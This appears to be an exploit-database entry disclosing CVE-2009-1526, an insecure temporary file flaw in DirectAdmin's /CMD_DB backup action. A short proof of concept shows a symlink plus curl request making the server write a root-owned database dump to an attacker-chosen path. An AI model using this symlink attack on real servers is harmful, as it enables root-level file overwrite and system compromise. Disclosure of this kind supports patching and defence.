DirectAdmin 1.33.3 - '/CMD_DB' Backup Action Insecure Temporary File Creation

Author: anonymous
type: local
platform: linux
port: 
date_added: 2009-04-22 
date_updated: 2014-04-21 
verified: 1 
codes: CVE-2009-1526;OSVDB-54014 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/34676/info

DirectAdmin creates temporary files in an insecure manner.

An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.

Versions prior to DirectAdmin 1.33.4 are vulnerable.

On server: $ ln -s /etc/poc /home/tmp/database_name.gz
On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
$ zcat /etc/poc | head -1
-- MySQL dump 10.9